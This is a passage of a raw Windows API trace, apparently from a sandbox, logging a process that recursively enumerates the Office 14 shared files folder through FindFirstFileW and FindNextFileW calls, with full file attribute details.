lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0080.473] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0080.473] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0080.474] GetProcessHeap () returned 0x470000 [0080.475] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.475] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.476] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.477] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0080.477] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0080.477] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.477] GetProcessHeap () returned 0x470000 [0080.477] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.477] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0080.477] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0080.477] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0080.477] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0080.478] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0080.478] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0080.478] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0080.478] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0080.478] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0080.478] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0080.479] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0080.479] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0080.479] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0080.479] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0080.479] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0080.479] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0080.480] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0080.480] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0080.480] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0080.480] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0080.480] GetProcessHeap () returned 0x470000 [0080.480] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.480] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.519] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0080.552] GetProcessHeap () returned 0x470000 [0080.552] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0080.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0080.679] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.679] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0080.679] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0080.680] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0080.680] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0080.680] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0080.681] GetProcessHeap () returned 0x470000 [0080.681] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0080.681] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", 